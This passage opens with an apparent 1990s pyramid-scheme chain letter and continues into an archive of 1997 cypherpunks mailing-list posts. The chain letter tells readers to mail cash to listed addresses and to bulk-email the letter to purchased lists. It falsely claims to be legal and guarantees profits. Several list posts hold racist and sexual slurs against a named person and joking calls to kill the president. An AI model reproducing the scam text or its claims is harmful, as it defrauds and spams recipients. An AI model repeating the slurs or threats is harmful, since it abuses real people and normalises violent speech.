the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the economy.
Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand experience.
There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
POORER."  The traditional methods of making money will never allow you
to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial freedom
for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you have
ever imagined.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be on
every one of them!.  Remember though, the more you send out, the more
potential customers you will reach.

So my friend, I have given you the ideas, information, materials and
opportunity to become financially independent, IT IS UP TO YOU NOW!


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$

Let's say that you decide to start small, just to see how it goes, and
we'll assume you and all those involved send out 2,000 programs each.
Let's also assume that the mailing receives a .5% response.  Using a
good list the response could be much better.  Also many people will
send out hundreds of thousands of programs instead of 2,000.  But
continuing with this example, you send out only 2,000 programs.  With a
5% response, that is only 10 orders for REPORT #1.  Those 10 people
respond by sending out 2,000 programs each for a total of 20,000.  Out
of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
out 2,000 programs each for a total of 200,000.  The .5% response to
that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
programs each for a 2,000,000 total.  The .5% response to that is
10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
$50,000 for a total of $55,550!!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU
MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!
DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe
me, many people will do that and more!  By the way, your cost to participate
in this is practically nothing.  You obviously already have an internet
connection and email is FREE!!!  REPORT#3 will show you the best
methods for bulk emailing and purchasing email lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail.  If
you believe that someday you'll get that big break that you've been
waiting for, THIS IS IT!  Simply follow the instructions, and your
dream will come true.  This multi-level email order marketing program
works perfectly...100% EVERY TIME.  Email is the sales tool of the
future.  Take advantage of this non-commercialized method of
advertising NOW!!  The longer you wait, the more people will be doing
business using email.  Get your piece of this action!!

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold throughout Multi-level Methods by the
mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
500,000 millionaires in the US, 20% (100,000) made their fortune in the
last several years in MLM.  Moreover, statistics show 45 people become
millionaires everyday through Multi-Level Marketing.

INSTRUCTIONS:

We at Erris Mail Order Marketing Business, have a method of raising
capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
"Bull", please read the program carefully.


This is the GREATEST Multi-level Mail Order Marketing anywhere:

Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
           by ordering the REPORT from each of the four 4 names listed
           on the next page.  For each REPORT, send $5 CASH and a SELF-
           ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
           person listed for the SPECIFIC REPORT.  International orders
           should also include $1 extra for postage.  It is essential
           that you specify the NAME and NUMBER of the report requested
           to the person you are ordering from.  You will need ALL FOUR
           4 REPORTS because you will be REPRINTING and RESELLING them.
           DO NOT alter the names or sequence other than what the
           instructions say.  IMPORTANT:  Always provide same-day
           service on all orders.

Step (2)   Replace  the  name  and  address  under  REPORT #1  with
           yours,  moving the one that was there down to REPORT #2.
           Drop  the  name and address under REPORT #2 to REPORT #3,
           moving the one that was there to REPORT #4.  The name and
           address that was under REPORT #4 is dropped from the list
           and this party  is  no doubt on the way to the bank.  When
           doing   this,   make   certain   you  type  the  names  and
           addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
           POSITIONS!!!

Step (3)   Having made the required changes in the NAME list, save it
           as a text (.txt) file in it's own directory to be used with
           whatever email program you like.  Again, REPORT #3 will tell
           you the best methods of bulk emailing and acquiring email
           lists.

Step (4)   Email a copy of the entire program (all of this is very
           important) to everyone whose address you can get your hands
           on. Start with friends and relatives since you can encourage
           them to take  advantage of this  fabulous  money-making
           opportunity.  That's what I did.  And they love me now, more
           than ever.  Then, email to anyone and everyone!  Use your
           imagination!  You can get email addresses from companies on
           the internet who specialize in email mailing lists.  These
           are very cheap, 100,000 addresses for around $35.00.

IMPORTANT:  You won't get a good response if you use an old list, so
always request a FRESH, NEW list. You will find out where to purchase
these lists when you order the four 4 REPORTS.

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE
SPECIFIC REPORT BY NAME AND NUMBER
Please, no checks, cash only !
________________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
SJB Enterprises
640-A Valley View Loop
Honolulu, HI 96818

________________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:
Freedom Investments
PO Box 199	
Wadesville, IN. 47638-0199
________________________________________________________
REPORT#3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:
Katz Investments
6545 Quiet Hours	
Columbia, Md 21045

________________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:
Aquarian Enterprises
3965 Phelan #105-304
Beaumont,TX 77707

_______________________________________________________

CONCLUSION

.I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

Very few people reach financial independence, because when
opportunity knocks, they choose to ignore it.  It is much easier to say
"NO" than "YES", and this is the question that you must answer.  Will
YOU ignore this amazing opportunity or will you take advantage of it?
If you do nothing, you have indeed missed something and nothing will
change.  Please re-read this material, this is a special opportunity.
If you have any questions, please feel free to write to the sender of
this information.  You will get a prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 that
costs me pennies to produce and email.  I should also point out that
this program is legal and everyone who participates WILL make money.
This is not a chain letter or pyramid scam.  At times you have probably
received chain letters, asking you to send money, on faith, but getting
NOTHING in return, NO product what-so-ever!  Not only are chain letters
illegal, but the risk of someone breaking the chain makes them quite
unattractive.

You are offering a legitimate product to your people.  After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise.  As you learned from the enclosed material,
the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
information contained in these REPORTS will not only help you in making
your participation in this program more rewarding, but will be useful
to you in any other business decisions you make in the years ahead.
You are also buying the rights to reprint all of the REPORTS, which
will be ordered from you by those to whom you mail this program.  The
concise one and two page REPORTS you will be buying can easily be
reproduced at a local copy center for a cost off about 3 cents a copy.
Best wishes with the program and Good Luck!


TIPS FOR SUCCESS

Send for your four 4 REPORTS immediately so you will have them when the
orders start coming in.  When you receive a $5 order, you MUST send out
the product/service to comply with US Postal and Lottery laws.  Title
18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.      Name your new company. You can use your own name if you desire.

2.      Get a post office box (preferred).

3.      Edit the names and addresses on the program. You must remember,
        your name and address go next to REPORT #1 and the others all
        move down one, with the fourth one being bumped OFF the list.

4.      Obtain as many email addresses as possible to send until you
        receive the information on mailing list companies in REPORT #3.

5.      Decide on the number of programs you intend to send out.  The
        more you send, and the quicker you send them, the more money
        you will make.

6.      After mailing the programs, get ready to fill the orders.

7.      Copy the four 4 REPORTS so you are able to send them out as
        soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
        SAME-DAY SERVICE ON ORDERS YOU RECEIVE!


YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must
receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
within two weeks, email out more programs until you do.  Then a couple
of weeks later you should receive at least 100 orders for REPORT #2, if
you don't, send out more programs until you do.  Once you have received
100 or more orders for REPORT #2, (take a deep breath) you can sit back
and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
participated in the program and reached the above GUARANTEES-ALL have
reached their $50,000 goal.  Also, remember, every time your name is
moved down the list you are in front of a different REPORT, so you can
keep track of your program by knowing what people are ordering from you.
IT'S THAT EASY, REALLY, IT IS!!!



"I seem to have been only like a boy playing on the seashore, and diverting
myself in now and then finding a smoother pebble or a prettier shell than
ordinary, whilst the great ocean of truth lay all undiscovered before me."  
                                                                        -
Sir Isaac Newton







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 12:02:57 +0800
To: cypherpunks@toad.com
Subject: Re: You're Dead
In-Reply-To: <Pine.LNX.3.96.971117065157.20387D-100000@bureau42.ml.org>
Message-ID: <34710FAD.741B@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> 
> > In InfoWarriors-Alpha (Beyond the Valley of the Planet of the
> > Return of the InfoWarriors) I put a link to bureau42 from the
> > text: cyberassassination scheme. I was going to put a pointer
> > to the file itself, but couldn't get the URL. Feel free to
> > change it on your copy, if you like.
> 
> Fixed. This latest incarnation of the saga will be at
> http://bureau42.base.org/public/warriors/ . BTW, if you know of places where
> I can get reliable, non-censored, decent-bandwidth, and cheap! web space let
> me know. The account which is the home for bureau42 is dangerously close to
> its quota, and I can't yet afford to have that T1 piped into my apartment.
> (sigh)

Dave,
  You must be a boonie-dweller, like myself. I live in an area where,
if I lose my account, I have no options. It amazes me that I have been
able, thus far, to send thinly veiled death threats to world leaders
and The Richest Man in the US (TM) without being 'killed or caught.'

> > p.s. - Do you have any good pointers to email interception
> > information? My little 'spoof' has resulted in quite a few
> > inquiries and I should probably send these poor people the
> > best info I can, to keep from going to CypherHell.
> 
> Heh. I'm sure, given all the research you and your people did for that
> InfoWarriors document, you can come up with something on your own. Some
> places to start: dig up information on the major NAPs, like MAE-East and the
> two or so incarnations of MAE-West; since something like 80% of traffic on
> the whole damn internet is routed through one of those, regardless of where
> it's going, a tap there could prove interesting indeed. (And I recall seeing,
> a few months ago, a cute article on MAE-East, which lives in the basement of
> a parking garage in New Jersey. Talk about security through obscurity.)

  For all of the 'dire predictions' that we hear about terrorists, etc.,
I find it amazing that systems such as those you mention are not
disabled
at will by these alleged 'enemies of mankind', despite their obvious
vulnerability. Could it possibly be that The Enemy (TM) is dancing with
our Protectors (TM) in a reality-spoof that consists of
behind-the-scenes
Puppeteers pulling our strings?

  The (successful) attempts of grey-shrouded background entities to
launch attacks on Tim May, the CypehrPunks list, etc., have given many
of those I communicate with privately cause to believe that it may be
time for The Movement (TM) to move underground, once again.
  What is interesting is that, for all of my paranoid, conspiratorial
rantings, I am only a fool making light parody of the true dark forces
which are operating in the background of our reality. Anyone who thinks
I jest about this might want to get a second opinion from Jim Bell...

  After cleaning up my Sympatico web site, I will send you the
information you need to access it. Feel free to use it as a temporary
solution to your space constraints, but keep in mind that it may well
be yanked at any moment.
  Perhaps someone with a direct InterNet connection will be able to
provide you with the needed cyberspace.
  To me, *you* are one of the "Heroes of the Revolution," as are all
of the remailer operators, Eternity Server developers, and slant-eyed
schills such as Joichi Ito, who are trying to make the best of a bad
situation (TM) in an attempt to move toward a goal which is very
likely improbable, impossible, or just plain inexplicable.

As the 'Youth in Asia Society' says: "Kill The President!"

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Nov 1997 11:54:25 +0800
To: cypherpunks@toad.com
Subject: Re: Reputed child molester Joichi Ito exporting kiddie porn from Japan
In-Reply-To: <199711171623.QAA01215@server.test.net>
Message-ID: <yHgcge15w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:
>
> Joichi Ito <jito@eccosys.com> writes:
> > At 16:30 97/11/16 -0700, Tim May wrote:
> > > This discussion is hardly going down in flames. You're apparently too
> > > sensitive to engage in robust debate.
> >
> > This is true. I am not going engage in what you probably call a robust
> > debate. A lot of people read this list and any robust debate will
> > probably lower my reputation capital in some important area for me
> > no matter what the outcome. I am not currently willing to take this risk.
>
> I am not sure why discussion should lower your reputation capital,
> unless open discussion is frowned upon by those who you wish to
> influence.  Perhaps you fear that you will be dismissed as a
> cypherpunk, a hardliner, whilst you are trying to appear less radical.

Because Ito-san is a lying sack of shit. "I support crypto, although
not for the four horsemen." "My country will export pornography involving
underage schoolgirls, but not the RSA chip." "Politically incorrect racists
must be silenced". Fuck you, Ito-sun. Go suck a sashimi.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 12:07:01 +0800
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: How anonymous?
In-Reply-To: <Pine.BSF.3.91.971117211842.25093D-100000@mcfeely.bsfs.org>
Message-ID: <347111E8.6910@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:
> 
> It would seem that if you are able to profile Dick's writing style to
> such a degree that you can verify that a post is from Dick, then I can
> profile Dick's writing style in such a way as to accurately mimic Dick.
> On the other hand, if you knew Dick, we wouldn't be having this discussion.

  I *know* dick, and you're not Dick!

  ...uuhhh...is that an insult? I'm confused...

ConfusedMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 18 Nov 1997 12:19:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9) (fwd)
Message-ID: <199711180415.WAA20098@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 17 Nov 1997 20:49:44 -0600
> From: TruthMonger <tm@dev.null>
> Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9) (fwd)

> Austin redneck hippie, Jim Choate, wrote:

OH, that is truly funny...

Just 'cause I happened to be raised by hippies doesn't mean I am a hippie.
Backfield in motion...Sugar Sugar...

> > > From: TruthMonger <tm@dev.null>
> > > Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9)
> > >   Electronic communication is a bare-bones ASCII interpretation of
> > > our intended communication. i.e. - stripped of intonation and other
> > > physical gestures which convey a meaning beyond the mere words we
> > > speak, in themselves.
> > >   Although there are some rudimentary ASCII images (:>) which can be
> > > used to add elements of shared emotional or conceptual constructs to
> > > the message we are attempting to convey.
> > >
> > >   The Medium IS the Message.
> > 
> > You clearly don't read real books...especialy those of the great authors of the
> > world.
> 
>   Been there, done that, got the T-shirt, had no idea what it meant...

Exactly. Thank you for being so obliging.

> > People who believe the spin doctorism 'The medium is the message' usualy
> > spend their time watching television or working for it.
> 
>   Those who *do*not* believe 'The medium is the message' usually think
> that Socrates' world-veiw would have been exactly the same if he had
> been using the InterNet as his means of viewing and communicating with
> the world.

Who's Socrates?

A more interesting question is whether the technology would have impacted his
base psychology...

I know this, way down deep there is a fundamental dialog between people and
all the technology in the world doesn't change that. Those base topics are
what define human societies. If this weren't so then how can the human
experience be so stable over recorded history & cultures? Why do we discuss
the exact same sorts of questions all societies & individuals have asked?

But, to counter your suggestion, please be so kind as to demonstrate your
evidence where the method of expression might have changed the basic
fundamentals of his dialogue? What are those fundamental issues that you
claim have changed so radicaly? While your'e at it, how about extrapolating
that nifty keen cliological analysis to say 500 years into the future and
explain your own biases and bigottries? You can leave the whip and chains
out of the dialog, those never change.

I would propose that there are more fundamental issue than the level of
technology. For example, consider the impact of experimentation on a
basicaly experiential world-view as that commen in ancient Greece. As
another example, consider the reaction when pi was shown to be irrational
and this knowledge was banned upon pain of death. Clearly we have the
technology yet we have not escaped the more base human experience. The
reality would seem to indicate that no, the most base messages of Socrates,
Sun Tzu, Christ, or the cypherpunks are still the same old ones...

 -  People are people, people are strange

 -  What makes one person happy is guaranteed to piss somebody else off

 -  Most people will never figure the first two out even if you tell
    them the answers

> > >   Until the email/communications medium evolves to allow us the ability
> > > to add not only smiles and winks, etc., but also chagrin, doubt, self-
> > > doubt, etc., to our online communications, the medium will remain an
> > > impediment to conveying the totality of our true message, as opposed to
> > > being merely an electronic version of 'pidgin Englich'.
> > 
> > This could happen provided we got rid of television and made graphics harder
> > to print...
> 
>   Right, Jim. Give us your prediction of when this is going to happen...
> (Yes, I *am* laughing at you...thanks for asking.)

Uh...like cold day in hell...

I'm beginning to think your attention span is tuned to those 30 second
blip-verts...and who asked? Are the voices back already?

>   Reality is that even when the medium evolves to the point where we
> can use it to convey the totality of what we are trying to convey, that

"convey the totality"? What kind of double-speak bullshit is that? 

Look junior, the absolutely *ONLY* way to express the 'totality' of an
experience is to be the one doing the experience. You can pop all the
moddies and daddies you wanna but it's still a pale imitation; a rose it is
not in any language. Now unless you have just instantly warped our happy
assess into the far flung future we are a long walk from plugging brains
together, nic's & protocols not withstanding.

> after we have done so the 'powers that be' will flash a graphic of
> us on the computer screen, making us look for all the world like a
> drug-dealing, terrorist pedophile.
>   There will be few sheeple with the dicrimination to recognize that,
> in your case, it is true, in 'my' case, it is not.
> 
> Not that I'm a troublemaker...

Well that's good, you shouldn't be as disappointed at your steady failures.

My suggestion, don't quit your day job, assuming your old enough to have a
job. They can't tell you're a dawg on the Internet.



    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr. Alan Sherman" <sherman@gl.umbc.edu>
Date: Tue, 18 Nov 1997 11:52:54 +0800
To: cypherpunks@toad.com
Subject: Two views on encryption policy
Message-ID: <Pine.SGI.3.91.971117222943.1781F-100000@pomeranian.cs.umbc.edu>
MIME-Version: 1.0
Content-Type: text/plain




I would like to air the following lectures on the
Mbone, through videotaping and rebroadcast.  Our
AV Dept. will charge $50 for a basic videotaping.
Would anyone like to donate $50 to UMBC
to make this happen?  (Please make out check
to "UMBC".)  Thanks.

Dr. Alan T. Sherman
Dept. of Computer Science and Electrical Engineering
UMBC
1000 Hilltop Circle
Baltimore, MD 21250

sherman@cs.umbc.edu
(410) 455-2666
-------------------------------------------------
   The UMBC Security Technology Research Group presents

	     Two Views on Encryption Policy:

I.  Wisdom and Constitutionality in US Cryptography Policy
 John Gilmore, Co-Founder, Electronic Frontier Foundation

  II. A Law-Enforcement Perspective on Encryption Policy
       Barry Smith, Supervisory Special Agent, FBI

Two divergent views on the topic of encryption policy by
freedom activist John Gilmore and FBI spokesperson Barry
Smith.  Journalist Peter Wayner will moderate the event,
which is free and open to the public.

  8-10:30 pm
  Tuesday, December 16, 1997
  Lecture Hall III 
  University of Maryland Baltimore County
  http://www.cs.umbc.edu/events/fall97/crypto.shtml

The fifth employee of Sun Microsystems and a strong believer
in the U.S. Constitution, John Gilmore is currently involved
in litigation against several government agencies over
matters of freedom of information, freedom of expression,
and encryption policies.  He will discuss the
constitutionality of controlling encryption. Barry Smith
will articulate the needs of law enforcement to conduct
lawful wiretaps; he will advocate the use of key-recovery
techniques to achieve this end as a way that provides
adequate privacy to law-abiding citizens.

Directions: Take Exit #47B off interstate I-95 and follow
signs to UMBC.  LH III is on the ground floor of the (tall)
administration building, adjacent the visitor's parking
lot, near the I-95 entrance to UMBC.

Host: Dr. Alan T. Sherman
      Associate Professor, Computer Science
      sherman@cs.umbc.edu
      http://www.umbc.edu
      (410) 455-2666

     This event is held in cooperation with the UMBC
	       Intellectual Sports Council





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 11:58:19 +0800
To: cypherpunks@Algebra.COM
Subject: Re: How anonymous?
Message-ID: <2069a5e2f999960574b51cd3dcbceac3@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



>If all anonymous posters make a concerted effort to write like Mr.
>Nakatuji, not only will anonymity be assured, but the list will be a *lot*
>funnier.

I not RSA know how can be used, please to me send about anonymous
information messages.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 18 Nov 1997 13:00:08 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4563] Tim May's defensive racism (was: about RC9) (fwd)
In-Reply-To: <199711180415.WAA20098@einstein.ssz.com>
Message-ID: <34711E65.9E2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate, dipping into Hettinga and Young's drug stash, wrote:

> > From: TruthMonger <tm@dev.null>
> > Subject: Re: [cpe:4537]  Tim May's defensive racism (was: about RC9) 
> > > People who believe the spin doctorism 'The medium is the message' usualy
> > > spend their time watching television or working for it.
> >
> >   Those who *do*not* believe 'The medium is the message' usually think
> > that Socrates' world-veiw would have been exactly the same if he had
> > been using the InterNet as his means of viewing and communicating with
> > the world.
> 
> Who's Socrates?

  He's the guy who edited this post so that those reading it will be
very confused as to who said what...

> I know this, way down deep there is a fundamental dialog between people and
> all the technology in the world doesn't change that. Those base topics are
> what define human societies. If this weren't so then how can the human
> experience be so stable over recorded history & cultures? Why do we discuss
> the exact same sorts of questions all societies & individuals have asked?

  What you say is true, but the fact of the matter is that our current
misperceptions are defined by the medium through which we
miscommunicate.
  True communication goes beyond the medium it passes through, but is
nonetheless limited by the capacity of the medium to convey what we are
trying to express. (As well as by the capacity of our experience to
interpret what we are receiving via that medium.)

> But, to counter your suggestion, please be so kind as to demonstrate your
> evidence where the method of expression might have changed the basic
> fundamentals of his dialogue? What are those fundamental issues that you
> claim have changed so radicaly? While your'e at it, how about extrapolating
> that nifty keen cliological analysis to say 500 years into the future and
> explain your own biases and bigottries? You can leave the whip and chains
> out of the dialog, those never change.

  The whips and chains are the best part...
  The Eskimos have something like 30 different words for "snow." If you
or I want to 'talk snow' with an Eskimo, our "method of expression"
(language) will be affected by the "basic fundamentals" by which our
differing languages are constructed. If we filter these already obvious
differences through different medium of communiations (words, pictures,
ASCII characters, etc.), then the "fundamental issues" will "change
radically" according to the number and type of filters that our
communications are interpreted through.
  500 years from now, my own biases and bigottries will be revealed
by the stripping away of the current commonly understood methods
of misdirection by which I attempt to disguise them, as well as
disguised by the the future misunderstandings of the unique meaning
that my current commonly understood methods of communication convey
to those steeped in the the peculularities of our era.
  i.e. - People drunk on Scotch, 500 years in the future, will 
understand what I just said, whereas even I, myself, am unlikely
to understand it in the morning, once I sober up.

> I would propose...

  Thanks, but I don't go that way...

>  -  People are people, people are strange
> 
>  -  What makes one person happy is guaranteed to piss somebody else off
> 
>  -  Most people will never figure the first two out even if you tell
>     them the answers

  Young and Hettinga are going to be really pissed when they find out
that you've been dipping into their 'stash'...
 
> I'm beginning to think your attention span is tuned to those 30 second
> blip-verts...and who asked? Are the voices back already?

  Nope. I'm wearing the aluminum foil hat...
 
> >   Reality is that even when the medium evolves to the point where we
> > can use it to convey the totality of what we are trying to convey, that
> 
> "convey the totality"? What kind of double-speak bullshit is that?

  I was hoping that I could slip that one by you.
 
> Look junior, the absolutely *ONLY* way to express the 'totality' of an
> experience is to be the one doing the experience. You can pop all the
> moddies and daddies you wanna but it's still a pale imitation; a rose it is
> not in any language. Now unless you have just instantly warped our happy
> assess into the far flung future we are a long walk from plugging brains
> together, nic's & protocols not withstanding.

  Whoa! Sounds like you took a few too many of the 'red' ones...
 
> My suggestion, don't quit your day job, assuming your old enough to have a
> job. They can't tell you're a dawg on the Internet.

  I'm a 13 year-old dawg, and I'm not wearing any panties.
(91 in people-years.)

SaggingTitsMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mpj@ebible.org>
Date: Tue, 18 Nov 1997 14:25:36 +0800
To: ddt@pgp.com
Subject: http://www.cryptography.org - thanks to Bay Area Cypherpunks!
Message-ID: <3.0.3.32.19971117231359.009ce7e0@teal.csn.net>
MIME-Version: 1.0
Content-Type: text/plain




A while ago, the Bay Area Cypherpunks took up a collection to help secure
the future of the North American Cryptography Archive. So far, I have used
part of that money to register the cryptography.org domain name and part of
it to partially cover some other expenses. Since the current main host site
is being freely lent to us, that donation should stretch for several years.
:-)

I have just changed jobs, and am working very long hours, but I still
manage to get a little time here and there to maintain the crypto site. If
nothing else, it provides a place for people who are concerned about
possible government persecution to publish their crypto software legally.
(I know that some people may differ with my interpretation of the current
rules, but what do you expect from FUD mud?)

Anyway, THANK YOU for your help. I am honored by your very tangible
expression of appreciation for keeping a crypto site open for years.

The new site is functional, now, and has a new name
(http://www.cryptography.org). I know that it could use some better
indexing, etc., but some of that may come in my spare time. :-)

To guard against various forms of disaster (natural or human), I am
encouraging others to mirror the site. (I claim no "compilation copyright"
- I just want this information to be freely available.) As the regulatory
climate changes, I will be watching for windows of legal opportunity (as we
almost had with the Bernstein case) to tear down the "front door" to the
archive and invite mirroring outside of North America. Until then, of
course, most (if not all) of the data in the archive is available outside
of North America. U. S. and Canadian citizens are clearly not the only ones
who understand and enjoy cryptography!

Note: nothing in this message should be construed as an invitation to
anyone to violate any valid applicable law.  ;-)

Thanks again, my friends.





Michael Paul Johnson    mailto:mpj@ebible.org (aka mpj@csn.net)
PO Box 1151             http://www.ebible.org/bible     <- Holy Bible
Longmont CO 80502-1151  http://www.cryptography.org     <- Crypto archive
USA       

PGP RSA key fingerprint (mpjA): 3E67 A580 0DFB D16A  6D52 D3A9 1C07 4E41
PGP DSS/DH fingerprint: 28AE B775 DD65 62C7 0717  ECDA 448F E0C7 17D7 47BB






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Nov 1997 16:20:23 +0800
To: Alexandre Maret <cypherpunks@toad.com>
Subject: Re: trusting untrusted platforms
In-Reply-To: <346DBAD1.C8632971@infomaniak.ch>
Message-ID: <3.0.3.32.19971117232412.00688de4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:08 PM 11/15/1997 +0100, Alexandre Maret wrote:
>Here is the problem: how to make sure that an untrusted
>computer really run the code you ask him to run.

In general, you can't.  Many interesting problems are NP,
so you can quickly tell from the output whether it matches the input,
but many more interesting problems are not, especially in crypto.
Often there's a special form that lets you detect
false positives, but for false negatives you're usually out of luck.
And for complex calculations other than searches, 
such as numerical stuff, you usually lose too.

>Practically, we can take the example of the RC5 contest.
>If I ask an untrusted computer to search for the key in
>a particular sub-keyspace, how can I make sure that this
>machine really looked for the key, and that it doesn't
>just say "the key is not in this block, give me another
>block" just to get higher in the stats...

The common solution, which also covers "this machine started looking
but stopped and didn't tell me", is to assign problem space
to multiple users (and hope they don't collude :-).
Random search is surprisingly effective, and has the
advantage that it doesn't require coordination.
It's sometimes helpful to structure the searches a bit
so you can easily compare results from multiple players.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 18 Nov 1997 12:48:07 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <23aaeadc7b197cfa0578eccf7f284749@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Since Gary Burnore has been making posts in the alt.privacy.anon-server NG
about how remailers are supposedly being "abused" in order to "forge"
articles in his name, I figure it's time to repost a Usenet article from
Jeff Burchell, operator of the Huge Cajones Remailer, about Gary Burnore's
harassment which ultimately convinced him to shut down the remailer, in
order to document Mr. Burnore's modus operandi, in case he attempts a
similar attack against another remailer:

--- BEGIN INCLUDED MESSAGE ---

Subject:      Jeff's Side of the Story.
From:         toxic@hotwired.com (Jeff Burchell)
Date:         1997/07/01
Message-ID:   <5pbnoe$f29$1@re.hotwired.com>
Followup-To:  alt.privacy.anon-server,alt.fan.steve-winter,
              alt.religion.scientology,alt.anonymous,misc.misc,
              alt.censorship,news.admin.censorship,comp.org.eff.talk,
              news.admin.net-abuse.misc
Organization: Content, Inc
Newsgroups:   alt.privacy.anon-server,alt.fan.steve-winter,
              alt.religion.scientology,alt.anonymous,misc.misc,
              alt.censorship,news.admin.censorship,alt.cypherpunks,
              comp.org.eff.talk,news.admin.net-abuse.misc


Anonymous (nobody@REPLAY.COM) wrote:

: > Only Jeff knows the whole story.

Actually, not even I know the whole story.  If I truely knew who it was
